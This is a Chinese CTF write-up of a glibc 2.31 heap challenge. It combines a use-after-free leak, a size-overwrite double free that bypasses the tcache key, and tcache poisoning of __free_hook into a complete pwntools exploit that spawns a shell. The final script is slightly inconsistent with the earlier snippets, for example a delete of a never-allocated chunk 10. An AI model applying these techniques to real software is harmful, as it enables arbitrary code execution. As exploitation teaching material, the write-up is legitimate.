前言:本篇记录了一道glibc2.31堆题,分享一种通过改写size绕key的新方法>_<
0x01 tcache
之前已经讲过,tcache(thread cache)是glibc 2.26起引入的每线程空闲块缓存。
free时若对应桶没满就直接塞进缓存并返回(不合并相邻块、不进 unsorted bin),malloc时也最先从这里取,所以它让小块分配快了一大截,同时也让堆的行为变得简单可预测。
64位下它有64个桶,覆盖chunk大小0x20-0x410,取出是LIFO后进先出。
0x02 key
之前讲过,2.29加入了key字段,用来第一时间识别块是不是已经在tcache里了。
上次介绍了一种简单粗暴的绕过key的方法:直接清掉key。
本文将介绍另一种绕过key的方法:通过改size换桶绕key。
之前提到过,有edit不检验长度,因此可以堆溢出8字节,恰好可以改掉下一个chunk的size。
如下图所示,用这种方法将chunk2的size改写,这样key检查tcache0x40的桶,就可以再次delete chunk2。

具体的流程大致如下图所示:
首先,将chunk2 free。
接着,通过堆溢出改写size,将chunk2再次free。
然后,malloc其中一个chunk2,编辑,使其fd指向free_hook。
最后,malloc两次即可拿到free_hook。

本质上,就是让同一个chunk同时被不同的桶引用,再配合tcache poisoning打_free__hook。
0x03 绕key_改写size
泄露Libc
这里比较基础,就不再赘述,直接把代码给大家,注意下malloc chunk的大小要大于tcache范围。
add_chunk(0, 0x410)
add_chunk(1, 0x10)
delete_chunk(0)
show_chunk(0)
libc.address = u64(p.recvuntil(b'1.')[-9:-3].ljust(8, b'\x00')) - 0x3b6be0
info("libc base:" + hex(libc.address))

改写size
首先,malloc两个相邻的chunk,注意这里chunk0是为了编辑,以此来改写chunk1的size。
add_chunk(0, 0x18)
add_chunk(1, 0x28)
delete_chunk(1)
free后可以看到,0x30中已经有一个chunk。

然后,通过堆溢出改写size,并再次free。
payload = flat([b'A'*0x18, p64(0x40) ])
edit_chunk(0, payload)
delete_chunk(1)
这样,同一个chunk就被free进了不同大小的tcache。

tcache poisoning
将任一chunk申请出来,并将其fd指针改为__free_hook。这里malloc的是0x30。
add_chunk(0, 0x28)
edit_chunk(0, p64(libc.sym['__free_hook']))
可以看到,chunk的fd已经指向了__free_hook。

接下来,只要再连续malloc两次即可。
add_chunk(0, 0x38)
add_chunk(0, 0x38)
但是,执行过程中,我发现这样并没有拿到shell,于是经过调试,我找到了问题所在:malloc两次后__free_hook依旧存在于tcachebins中,并没有被申请出来。

而且chunk_list中也没有__free_hook。

这是因为,在tcache的结构体里,每个桶配备一个计数器counts,counts[i]代表第i个桶现在有几个chunk。
typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS]; /* 64 个计数(2.30 起是 uint16_t) */
tcache_entry *entries[TCACHE_MAX_BINS]; /* 64 个链头 */
} tcache_perthread_struct;
而现在,counts的值为0,自然不能再malloc。

因此,我们只需要再free一个chunk,让计数器+1即可。

这样,counts就变成了2,可以被malloc两次。

malloc两次后可以看到__free_hook。

触发
现在,传入/bin/sh再触发即可。
edit_chunk(0, p64(libc.sym['system']))
edit_chunk(1, b'/bin/sh\x00')
delete_chunk(1)
完整exp
from pwn import *
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])
def add_chunk(index, size):
p.sendafter("choice:", "1")
p.sendafter("index:", str(index))
p.sendafter("size:", str(size))
def delete_chunk(index):
p.sendafter("choice:", "2")
p.sendafter("index:", str(index))
def edit_chunk(index, content):
p.sendafter("choice:", "3")
p.sendafter("index:", str(index))
p.sendafter("length:", str(len(content)))
p.sendafter("content:", content)
def show_chunk(index):
p.sendafter("choice:", "4")
p.sendafter("index:", str(index))
add_chunk(0, 0x410)
add_chunk(1, 0x20)
delete_chunk(0)
show_chunk(0)
libc.address = u64(p.recvuntil(b'1.')[-9:-3].ljust(8, b'\x00')) - 0x3b6be0
info("libc base: " + hex(libc.address))
# add_chunk(10, 0x38)
add_chunk(0, 0x18)
add_chunk(1, 0x28)
delete_chunk(1)
delete_chunk(10)
payload = flat([b'A'*0x18, p64(0x40) ])
edit_chunk(0, payload)
delete_chunk(1)
add_chunk(0, 0x28)
edit_chunk(0, p64(libc.sym['__free_hook']))
add_chunk(0, 0x38)
add_chunk(0, 0x38)
edit_chunk(0, p64(libc.sym['system']))
edit_chunk(1, b'/bin/sh\x00')
delete_chunk(1)
gdb.attach(p)
p.interactive()
将以上片段拼凑一下就能够得到完整的 exp。
写到这里,就能成功获取程序的交互式shell啦!
小结
这道glibc 2.31堆题凑齐了UAF、堆溢出和double free三个漏洞。利用8字节越界写改size,做出跨桶double free绕过key检测,再用tcache poisoning打通__free_hook。
评论(0)
暂无评论